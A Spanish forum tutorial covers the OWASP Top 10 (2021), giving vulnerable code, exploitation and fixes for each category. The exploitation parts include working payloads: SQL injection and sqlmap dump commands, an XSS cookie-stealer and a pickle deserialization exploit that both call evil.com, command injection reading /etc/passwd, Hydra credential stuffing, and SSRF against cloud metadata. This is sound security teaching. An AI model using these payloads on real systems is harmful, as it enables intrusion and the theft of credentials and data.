Underc0de - La Casa de los Informáticos

[In]Seguridad Informática => Seguridad web y en servidores => Mensaje iniciado por: ANTRAX en Septiembre 13, 2026, 07:21:06 PM

Título: OWASP Top 10: las 10 fallas de seguridad web, como explotarlas y como blindarlas
Publicado por: ANTRAX en Septiembre 13, 2026, 07:21:06 PM
(https://upload.wikimedia.org/wikipedia/commons/thumb/e/ef/OWASP_black_logo.svg/960px-OWASP_black_logo.svg.png)

OWASP Top 10: las 10 fallas de seguridad web, cómo explotarlas y cómo blindarlas

Buenas gente de Underc0de. Este es de los posts que más venía queriendo armar para esta sección. El OWASP Top 10 es la referencia de facto cuando hablamos de seguridad en aplicaciones web, y sin embargo la mayoría lo conoce de nombre nada más. La idea acá es recorrerlo entero, categoría por categoría, con las cuatro cosas que importan de verdad en cada una: qué es, por qué pasa, cómo se explota (con payloads y código) y cómo se soluciona.

Aviso obligatorio: todo lo que sigue es material educativo y defensivo. Los ejemplos de explotación son para que entiendas la mecánica y sepas cómo defenderte, o para usarlos en tus propios laboratorios y en pentesting autorizado. Meter esto en un sistema que no es tuyo y sin permiso escrito es delito. Montá un DVWA, un Juice Shop o un WebGoat y practicá ahí. Avisado queda.



¿Qué es OWASP y qué es el Top 10?

OWASP (Open Worldwide Application Security Project) es una fundación sin fines de lucro que produce documentación, herramientas y estándares de seguridad, todo abierto y gratuito. Herramientas como ZAP, el ASVS (estándar de verificación) o las Cheat Sheets salen de ahí.

El Top 10 es su documento estrella: una lista de las diez categorías de riesgo más críticas en aplicaciones web, actualizada cada tres o cuatro años a partir de datos reales aportados por cientos de organizaciones. Este post cubre la edición 2021, que es la ratificada y vigente como referencia estable. OWASP revisa la lista periódicamente, así que el orden puede moverse en futuras ediciones, pero las clases de vulnerabilidad son las mismas de siempre.

Un punto clave que mucha gente no entiende: el Top 10 son categorías de riesgo, no vulnerabilidades puntuales. "Inyección" no es un bug, es una familia entera que incluye SQLi, inyección de comandos, LDAP, XSS y más. Cada categoría agrupa decenas de CWEs (Common Weakness Enumeration).

Este es el listado 2021:

#CategoríaEn criollo
A01Broken Access ControlAccedo a lo que no debería
A02Cryptographic FailuresDatos sensibles mal protegidos
A03InjectionMeto código donde va data
A04Insecure DesignEl diseño ya nace inseguro
A05Security MisconfigurationMal configurado
A06Vulnerable and Outdated ComponentsDependencias viejas y con CVEs
A07Identification and Authentication FailuresLogin roto
A08Software and Data Integrity FailuresConfío en lo que no debería
A09Security Logging and Monitoring FailuresNo veo que me están atacando
A10Server-Side Request Forgery (SSRF)El server pide por mí

Vamos una por una.



A01 — Broken Access Control

Subió al primer puesto en 2021, y con razón: es la falla más extendida. El control de acceso es el mecanismo que decide quién puede hacer qué. Cuando está roto, un usuario puede actuar fuera de los permisos que le corresponden: leer datos de otros, modificar recursos ajenos, escalar a administrador.

Los dos sabores más comunes:


Ejemplo vulnerable. Un endpoint que devuelve una factura:

Código (php) [Seleccionar]
<?php
// GET /factura.php?id=1043
$id $_GET['id'];

$stmt $pdo->prepare("SELECT * FROM facturas WHERE id = ?");
$stmt->execute([$id]);
$factura $stmt->fetch();

// Se muestra la factura... de cualquiera.
echo json_encode($factura);
?>


Fijate que la query está parametrizada, así que no hay SQLi. El problema es otro: nunca se verifica que la factura 1043 sea del usuario logueado.

Cómo se explota. Es tan simple como cambiar el número:

Código (bash) [Seleccionar]
# Soy el usuario que ve su factura 1043
curl -b "session=..." "https://tienda.com/factura.php?id=1043"

# Cambio el ID y leo la del vecino
curl -b "session=..." "https://tienda.com/factura.php?id=1044"
curl -b "session=..." "https://tienda.com/factura.php?id=1045"

# Un bucle y me llevo TODAS las facturas del sistema
for i in $(seq 1 9999); do
  curl -s -b "session=..." "https://tienda.com/factura.php?id=$i" >> dump.json
done

Otra variante clásica es el control de acceso que vive solo en el menú del frontend: el botón "Panel Admin" no aparece para usuarios normales, pero la ruta /admin/borrar-usuario responde igual si la pedís a mano.

Cómo se soluciona. La regla de oro: verificar la autorización en el servidor, en cada request, contra el dueño real del recurso.

Código (php) [Seleccionar]
<?php
$id 
$_GET['id'];

// La query filtra TAMBIEN por el usuario de la sesion.
$stmt $pdo->prepare(
    
"SELECT * FROM facturas WHERE id = ? AND usuario_id = ?"
);
$stmt->execute([$id$_SESSION['usuario_id']]);
$factura $stmt->fetch();

if (!
$factura) {
    
http_response_code(404); // 404, no 403: no revelamos que existe
    
exit(json_encode(["error" => "No encontrado"]));
}
echo 
json_encode($factura);
?>


Buenas prácticas concretas:




A02 — Cryptographic Failures

Antes se llamaba "Sensitive Data Exposure". El nombre cambió porque la exposición de datos suele ser el síntoma; la causa raíz es un fallo criptográfico: datos que viajan o se guardan sin cifrar, con algoritmos débiles, o con las claves mal manejadas.

Casos típicos:


Cuando el canal no está cifrado, un atacante en el medio (Man-in-the-Middle) lee y modifica todo lo que pasa:

(https://upload.wikimedia.org/wikipedia/commons/thumb/e/e7/Man_in_the_middle_attack.svg/960px-Man_in_the_middle_attack.svg.png)

Ejemplo vulnerable. El pecado más común: guardar contraseñas con MD5.

Código (php) [Seleccionar]
<?php
// Registro de usuario - MAL
$password $_POST['password'];
$hash md5($password);   // roto: rapido y sin salt

$stmt $pdo->prepare("INSERT INTO usuarios (email, pass) VALUES (?, ?)");
$stmt->execute([$_POST['email'], $hash]);
?>


Cómo se explota. Si un atacante consigue un dump de la base (por un SQLi, un backup expuesto, lo que sea), los hashes MD5 se rompen en segundos. No hay que "descifrar" nada: se comparan contra tablas precalculadas (rainbow tables) o se hace fuerza bruta a millones de hashes por segundo con hashcat:

Código (bash) [Seleccionar]
# Un GPU medianamente decente prueba miles de millones de MD5/s
hashcat -m 0 -a 0 hashes_md5.txt rockyou.txt

# Para SHA1 sin salt, mismo cuento
hashcat -m 100 -a 0 hashes_sha1.txt rockyou.txt

# Sin GPU, hasta un sitio web te resuelve un MD5 comun al instante

Como MD5 no tiene salt, dos usuarios con la misma contraseña tienen el mismo hash: se ve a simple vista quién usa "123456".

Cómo se soluciona. Para contraseñas se usan funciones de hashing lentas y con salt automático: bcrypt, scrypt o Argon2 (el recomendado hoy).

Código (php) [Seleccionar]
<?php
// Registro - BIEN
$hash password_hash($_POST['password'], PASSWORD_ARGON2ID);

$stmt $pdo->prepare("INSERT INTO usuarios (email, pass) VALUES (?, ?)");
$stmt->execute([$_POST['email'], $hash]);

// Login - verificacion
$stmt $pdo->prepare("SELECT pass FROM usuarios WHERE email = ?");
$stmt->execute([$_POST['email']]);
$fila $stmt->fetch();

if (
$fila && password_verify($_POST['password'], $fila['pass'])) {
    
// OK. Y de paso, re-hasheamos si el algoritmo quedo viejo:
    
if (password_needs_rehash($fila['pass'], PASSWORD_ARGON2ID)) {
        
// ... actualizar hash en la base
    
}
}
?>


Checklist criptográfico:




A03 — Injection

La categoría más famosa y la que más miedo daba históricamente (fue #1 durante años). Ocurre cuando datos no confiables del usuario se mezclan con un comando o consulta y el intérprete termina ejecutando parte de esos datos como si fueran código. Incluye SQLi, inyección de comandos del SO, LDAP, NoSQL y también XSS (que en 2021 quedó dentro de esta categoría).

(https://upload.wikimedia.org/wikipedia/commons/2/2a/SQL_injection.png)

SQL Injection

Ejemplo vulnerable. El pecado original: concatenar input directo en la query.

Código (php) [Seleccionar]
<?php
// Login - MAL. Concatenacion directa.
$user $_POST['user'];
$pass $_POST['pass'];

$sql "SELECT * FROM usuarios 
        WHERE user = '
$user' AND pass = '$pass'";
$resultado $mysqli->query($sql);

if (
$resultado->num_rows 0) {
    
// Autenticado
}
?>


Cómo se explota. El clásico bypass de autenticación. Si en el campo usuario mando:

Código (sql) [Seleccionar]
admin' --

La query se convierte en:

Código (sql) [Seleccionar]
SELECT * FROM usuarios WHERE user = 'admin' -- ' AND pass = '...'

El -- comenta el resto: entra como admin sin saber la contraseña. Otra variante para cuando no conocés usuarios:

Código (sql) [Seleccionar]
' OR '1'='1

Y de ahí se escala a extracción de datos con UNION:

Código (sql) [Seleccionar]
' UNION SELECT username, password, 3 FROM usuarios --

O a inyección ciega (blind) cuando no ves el resultado, deduciendo bit por bit con respuestas booleanas o con tiempos:

Código (sql) [Seleccionar]
' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0) --

En la práctica nadie hace esto a mano: sqlmap automatiza todo el proceso.

Código (bash) [Seleccionar]
# sqlmap detecta y explota automaticamente
sqlmap -u "https://sitio.com/producto?id=5" --dbs
sqlmap -u "https://sitio.com/producto?id=5" -D tienda --tables
sqlmap -u "https://sitio.com/producto?id=5" -D tienda -T usuarios --dump

Cómo se soluciona. Consultas parametrizadas (prepared statements) siempre. El input nunca se concatena; viaja como parámetro, separado del código SQL.

Código (php) [Seleccionar]
<?php
// Login - BIEN. Prepared statement.
$stmt $pdo->prepare(
    
"SELECT * FROM usuarios WHERE user = ? AND pass_hash = ?"
);
$stmt->execute([$_POST['user'], hash_login($_POST['pass'])]);
$usuario $stmt->fetch();
?>


Con esto, mandar admin' -- busca literalmente un usuario llamado admin' --, que no existe. El motor trata el input como dato, punto.

Cross-Site Scripting (XSS)

XSS es inyección, pero del lado del navegador: el atacante logra que la aplicación devuelva JavaScript que se ejecuta en el navegador de la víctima.

(https://upload.wikimedia.org/wikipedia/commons/7/78/Cross-site_scripting_attack_sequence_diagram_-_en.png)

Hay tres tipos: reflejado (el payload viaja en la request y vuelve en la respuesta), almacenado (el payload queda guardado en la base y golpea a todo el que lo ve — el más peligroso) y DOM-based (todo ocurre en el JS del cliente).

Ejemplo vulnerable. Un buscador que refleja el término sin escapar:

Código (php) [Seleccionar]
<?php
// resultados.php?q=...
echo "<h2>Resultados para: " $_GET['q'] . "</h2>";
?>


Cómo se explota. En vez de un término de búsqueda, mando script:

Código (html) [Seleccionar]
<script>document.location='https://evil.com/rob?c='+document.cookie</script>

Con eso robo la cookie de sesión de quien abra el link. En un XSS almacenado (por ejemplo un comentario), el payload golpea a todos los visitantes sin necesidad de engañar a nadie con un link. Payloads típicos de prueba:

Código (html) [Seleccionar]
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

Cómo se soluciona. Escapar la salida según el contexto y aplicar una Content Security Policy.

Código (php) [Seleccionar]
<?php
// BIEN: escapamos para contexto HTML
echo "<h2>Resultados para: " 
   
htmlspecialchars($_GET['q'], ENT_QUOTES'UTF-8'
   . 
"</h2>";
?>


Y una CSP que corte la ejecución de scripts inline como red de contención:

Código (http) [Seleccionar]
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'

Inyección de comandos

Cuando la app pasa input a una shell del sistema:

Código (php) [Seleccionar]
<?php
// MAL: input directo a la shell
$host $_GET['host'];
system("ping -c 4 " $host);
?>


Payload: 8.8.8.8; cat /etc/passwd → ejecuta el ping y además lee el archivo. La solución es no invocar la shell con input del usuario: usar APIs que reciban argumentos como array (escapeshellarg como mínimo, o mejor una librería nativa que no pase por la shell).

Regla general de toda la categoría A03: separar código de datos. Prepared statements para SQL, escape contextual para HTML, APIs seguras para comandos, y validación de input como capa extra (nunca como única defensa).



A04 — Insecure Design

Categoría nueva en 2021, y conceptualmente distinta al resto. Las demás hablan de implementación (un bug en el código). Esta habla de diseño: fallas que existen porque el sistema fue pensado mal desde el arranque, antes de escribir una línea. No las arreglás con un parche; hay que rediseñar.

La diferencia clave: una implementación insegura tiene un código correcto mal escrito. Un diseño inseguro puede estar perfectamente codificado y aún así ser inseguro, porque le falta un control que nunca se pensó.

Ejemplos:


Ejemplo de lógica de negocio rota. Un cupón de descuento que no se marca como usado:

Código (python) [Seleccionar]
# MAL: el cupon se valida pero nunca se invalida
def aplicar_cupon(carrito, codigo):
    cupon = db.cupones.find_one({"codigo": codigo})
    if cupon and cupon["activo"]:
        carrito.total *= (1 - cupon["descuento"])
    return carrito
    # el mismo cupon del 50% se puede aplicar infinitas veces

Cómo se explota. No hace falta ninguna herramienta: aplicás el mismo cupón del 50% diez veces seguidas y el total tiende a cero. O en el caso de la reserva sin límite, automatizás pedidos para agotar el stock de un producto y sabotear al vendedor. Es explotación de la lógica, no de un bug técnico.

Cómo se soluciona. Esto se ataca en la etapa de diseño, no de parcheo:


Código (python) [Seleccionar]
# BIEN: operacion atomica que invalida el cupon
def aplicar_cupon(carrito, codigo):
    # findOneAndUpdate atomico: solo triunfa si el cupon sigue activo
    cupon = db.cupones.find_one_and_update(
        {"codigo": codigo, "activo": True},
        {"$set": {"activo": False, "usado_por": carrito.usuario_id}}
    )
    if not cupon:
        raise ValueError("Cupon invalido o ya utilizado")
    carrito.total *= (1 - cupon["descuento"])
    return carrito



A05 — Security Misconfiguration

Una de las más frecuentes en la práctica, y de las más fáciles de evitar. No es un bug de código: es el sistema mal configurado. Configuraciones por defecto, servicios de más habilitados, permisos abiertos, mensajes de error que cuentan de más.

Ejemplos típicos:


Ejemplo vulnerable. Una app PHP en producción con los errores a la vista:

Código (php) [Seleccionar]
<?php
// MAL en produccion
ini_set('display_errors'1);
error_reporting(E_ALL);
// Un error ahora imprime: ruta absoluta, version de PHP,
// credenciales de la DB si estan en el stack trace, etc.
?>


Y un Apache con el listado de directorios abierto:

Código (apache) [Seleccionar]
# MAL: expone todos los archivos del directorio
<Directory /var/www/html>
    Options Indexes FollowSymLinks
</Directory>

Cómo se explota. El atacante recorre rutas conocidas buscando lo que quedó expuesto:

Código (bash) [Seleccionar]
# Buscar paneles, backups y config expuestos
curl https://sitio.com/.git/config          # repo git expuesto
curl https://sitio.com/backup.sql           # dump de la base
curl https://sitio.com/.env                 # variables con secretos
curl https://sitio.com/phpinfo.php          # info completa del server
curl https://sitio.com/admin/               # panel sin proteger

# Herramientas que automatizan el barrido
nikto -h https://sitio.com
gobuster dir -u https://sitio.com -w wordlist.txt

Un .git expuesto o un .env con la connection string es game over instantáneo.

Cómo se soluciona.


Config correcta de Nginx con headers y bloqueos:

Código (nginx) [Seleccionar]
server {
    server_tokens off;                    # oculta la version de nginx

    # Headers de seguridad
    add_header X-Frame-Options "SAMEORIGIN" always;
    add_header X-Content-Type-Options "nosniff" always;
    add_header Strict-Transport-Security "max-age=63072000" always;
    add_header Content-Security-Policy "default-src 'self'" always;
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;

    # Bloquear archivos sensibles
    location ~ /\.(git|env|htaccess) { deny all; return 404; }
    location ~ \.(sql|bak|backup)$    { deny all; return 404; }

    autoindex off;                        # sin listado de directorios
}



A06 — Vulnerable and Outdated Components

Tu código puede ser impecable, pero si usás una librería con un CVE conocido, sos vulnerable igual. Hoy una app típica es 80% dependencias de terceros: frameworks, librerías, plugins. Cada una es superficie de ataque.

Los casos históricos hablan solos: el hackeo a Equifax (147 millones de personas) fue un Apache Struts sin parchear. Log4Shell (Log4j) puso en jaque a medio internet en 2021.

Por qué pasa:


Cómo se explota. El atacante primero identifica versiones (por headers, rutas, archivos JS, mensajes), las cruza contra bases de CVEs y busca el exploit público, que muchas veces ya está listo en Metasploit o en Exploit-DB:

Código (bash) [Seleccionar]
# Detectar tecnologias y versiones
whatweb https://sitio.com
nmap -sV --script=vuln sitio.com

# Escanear dependencias de un proyecto
npm audit
retire --path ./           # librerias JS con CVEs conocidos

# Buscar el exploit correspondiente
searchsploit apache 2.4.49

Con la versión y el CVE en mano, en muchos casos es correr un módulo y listo. No hace falta ni entender la vulnerabilidad.

Cómo se soluciona.


Un gate en CI que frena el build si hay vulnerabilidades altas:

Código (yaml) [Seleccionar]
# .github/workflows/security.yml
name: dependency-check
on: [push, pull_request]
jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Auditar dependencias
        run: npm audit --audit-level=high
        # falla el build si hay vulnerabilidades de nivel high o critical



A07 — Identification and Authentication Failures

Todo lo que tiene que ver con confirmar que sos quien decís ser. Cuando el login, la gestión de sesiones o la recuperación de cuenta están mal hechos, un atacante se hace pasar por otro.

Casos:


Cómo se explota. El credential stuffing es hoy el ataque más rentable: se agarran millones de combinaciones usuario/clave filtradas de otras brechas y se prueban en masa, porque la gente reusa contraseñas.

Código (bash) [Seleccionar]
# Fuerza bruta / stuffing con Hydra
hydra -L usuarios.txt -P passwords.txt sitio.com \
      http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"

# Si la sesion no expira, una cookie robada sirve para siempre

Si además el token de sesión es un entero incremental o un MD5 del user ID, se predice y se secuestra la sesión de otro.

Cómo se soluciona.


Código (python) [Seleccionar]
# Login con las buenas practicas
from argon2 import PasswordHasher
import secrets

ph = PasswordHasher()

def login(email, password, ip):
    if intentos_recientes(ip) > 5:
        raise Bloqueado("Demasiados intentos, espera unos minutos")

    user = db.usuarios.find_one({"email": email})
    # Mensaje identico exista o no el usuario (evita enumeracion)
    if not user or not verificar(ph, user["hash"], password):
        registrar_intento_fallido(ip)
        raise AuthError("Credenciales invalidas")

    # Token de sesion aleatorio y fuerte
    token = secrets.token_urlsafe(32)
    guardar_sesion(token, user["id"], expira_en=1800)
    return token



A08 — Software and Data Integrity Failures

Categoría nueva en 2021. Se trata de confiar en código o datos sin verificar su integridad: actualizaciones sin firmar, dependencias de fuentes no confiables, pipelines de CI/CD comprometidos, o deserialización de datos manipulados.

Acá entran los ataques a la cadena de suministro (supply chain), que son de los más temidos hoy: SolarWinds, el caso del paquete event-stream de npm, dependencias con typosquatting.

Deserialización insegura, el subtipo más explotado a nivel código. Si la app deserializa datos que vienen del usuario, un objeto malicioso puede terminar ejecutando código.

Ejemplo vulnerable en Python con pickle:

Código (python) [Seleccionar]
# MAL: deserializar datos del usuario con pickle
import pickle, base64

def cargar_preferencias(cookie):
    datos = base64.b64decode(cookie)
    return pickle.loads(datos)   # ejecuta lo que venga

Cómo se explota. pickle puede reconstruir objetos arbitrarios, incluyendo uno que ejecuta un comando al deserializarse:

Código (python) [Seleccionar]
# El atacante genera una cookie maliciosa
import pickle, base64, os

class Exploit:
    def __reduce__(self):
        return (os.system, ("curl evil.com/shell.sh | bash",))

payload = base64.b64encode(pickle.dumps(Exploit()))
# Manda esa cookie -> el server ejecuta el comando al hacer pickle.loads

Con eso, el atacante tiene ejecución remota de código (RCE) en el servidor. Lo mismo aplica a la deserialización nativa de Java, a unserialize() en PHP con gadget chains, etc.

Cómo se soluciona.


Código (python) [Seleccionar]
# BIEN: JSON, que solo transporta datos, nunca objetos ejecutables
import json

def cargar_preferencias(cookie_json):
    datos = json.loads(cookie_json)  # no puede instanciar clases
    # ademas validamos el esquema antes de usarlo
    return validar_preferencias(datos)

Y el SRI para un script externo:

Código (html) [Seleccionar]
<script src="https://cdn.com/lib.js"
        integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
        crossorigin="anonymous"></script>



A09 — Security Logging and Monitoring Failures

La categoría que nadie quiere y todos necesitan. No es una vulnerabilidad que se "explote" directamente: es la ceguera que permite que todos los demás ataques pasen desapercibidos. Si no registrás ni monitoreás, un atacante puede estar meses adentro sin que lo notes. El tiempo promedio de detección de una brecha se mide en cientos de días, y esta es la razón.

Fallas típicas:


Ejemplo de logging correcto. Registrar los eventos de seguridad con contexto y sin filtrar datos sensibles:

Código (python) [Seleccionar]
import logging

seg = logging.getLogger("seguridad")

def login(email, password, ip):
    user = autenticar(email, password)
    if not user:
        # Se loguea el intento, NUNCA la password
        seg.warning(
            "login_fallido email=%s ip=%s ua=%s",
            email, ip, request.headers.get("User-Agent")
        )
        raise AuthError("Credenciales invalidas")

    seg.info("login_ok user_id=%s ip=%s", user.id, ip)
    return crear_sesion(user)

Qué monitorear y alertar:


Cómo se soluciona.




A10 — Server-Side Request Forgery (SSRF)

La única categoría de 2021 que entró directamente por votación de la comunidad. Ocurre cuando la aplicación toma una URL provista por el usuario y hace una petición a ella desde el servidor. El atacante abusa de eso para que el servidor pida recursos internos a los que él no llega directo.

El peligro real: el servidor suele estar en una red interna y muchos servicios internos confían en las peticiones que vienen de "adentro". En entornos cloud, esto es especialmente grave por los endpoints de metadatos.

Ejemplo vulnerable. Una función que trae una imagen desde una URL que da el usuario:

Código (python) [Seleccionar]
# MAL: pide cualquier URL que mande el usuario
import requests

def obtener_imagen(url):
    r = requests.get(url)   # sin validar el destino
    return r.content

# GET /preview?url=https://ejemplo.com/foto.png

Cómo se explota. En vez de una imagen, el atacante apunta a recursos internos. En AWS, el endpoint de metadatos entrega credenciales temporales del rol de la instancia:

Código (bash) [Seleccionar]
# Apuntar al servicio de metadatos de la nube (AWS)
GET /preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Escanear servicios internos que desde afuera no se ven
GET /preview?url=http://localhost:6379/           # Redis interno
GET /preview?url=http://192.168.1.10:8080/admin   # panel interno

# Leer archivos locales via esquema file://
GET /preview?url=file:///etc/passwd

Si consigue las credenciales de metadatos, el atacante puede pivotar a toda la cuenta cloud. SSRF fue justamente el vector de la brecha de Capital One (100 millones de personas).

Cómo se soluciona. Validar el destino con lista blanca, nunca lista negra (las blacklists se evaden con encoding, redirects, IPs alternativas):

Código (python) [Seleccionar]
# BIEN: lista blanca de dominios y validacion de IP
import requests, socket, ipaddress
from urllib.parse import urlparse

DOMINIOS_OK = {"cdn.miapp.com", "imagenes.miapp.com"}

def obtener_imagen(url):
    p = urlparse(url)
    if p.scheme not in ("http", "https"):
        raise ValueError("Esquema no permitido")
    if p.hostname not in DOMINIOS_OK:
        raise ValueError("Dominio no permitido")

    # Verificar que la IP no sea interna/privada
    ip = ipaddress.ip_address(socket.gethostbyname(p.hostname))
    if ip.is_private or ip.is_loopback or ip.is_link_local:
        raise ValueError("Destino interno bloqueado")

    return requests.get(url, timeout=5, allow_redirects=False).content

Medidas complementarias:




Más allá del Top 10: defensa en profundidad

El Top 10 es un piso, no un techo. Dos cierres importantes.

Primero: las capas de defensa se complementan. Un WAF no reemplaza a los prepared statements, pero suma. Rate limiting, WAF, segmentación de red y monitoreo forman capas que hacen que un fallo puntual no sea catastrófico. Y hay amenazas de infraestructura, como los ataques de denegación de servicio distribuida (DDoS), que ni siquiera están en el Top 10 pero pueden tumbarte igual:

(https://upload.wikimedia.org/wikipedia/commons/thumb/9/93/Ddos-attack-ex.png/960px-Ddos-attack-ex.png)

Segundo, y es lo más importante que me llevo de todo esto: la seguridad no es una feature que se agrega al final, es una propiedad que se diseña desde el principio. La mitad del Top 10 (A01, A04, A05, A08) son problemas de arquitectura y proceso, no de "poner un filtro". Conecta directo con lo que venía diciendo en los posts de QA: la calidad —y la seguridad es una dimensión de la calidad— se construye, no se inspecciona al final.

Herramientas para practicar (legalmente):


Y para auditar tus propias apps: OWASP ZAP, Burp Suite, nikto, sqlmap, nuclei y las herramientas SCA que mencioné en A06.



Hasta acá el recorrido. Quedó largo pero la idea era que sirva de referencia para volver a consultarlo. Abro el debate:


Si al post le falta algo o quieren que profundice en alguna categoría en particular (SQLi avanzado, XSS con bypass de WAF, explotación de deserialización), díganlo y armo algo dedicado.



Créditos de las imágenes: Wikimedia Commons — logo OWASP (https://commons.wikimedia.org/wiki/File:OWASP_black_logo.svg), SQL injection (https://commons.wikimedia.org/wiki/File:SQL_injection.png), diagrama XSS (https://commons.wikimedia.org/wiki/File:Cross-site_scripting_attack_sequence_diagram_-_en.png), MITM (https://commons.wikimedia.org/wiki/File:Man_in_the_middle_attack.svg) y DDoS (https://commons.wikimedia.org/wiki/File:Ddos-attack-ex.png) (licencias CC / dominio público). Referencia: OWASP Top 10:2021, owasp.org.

Saludos,
ANTRAX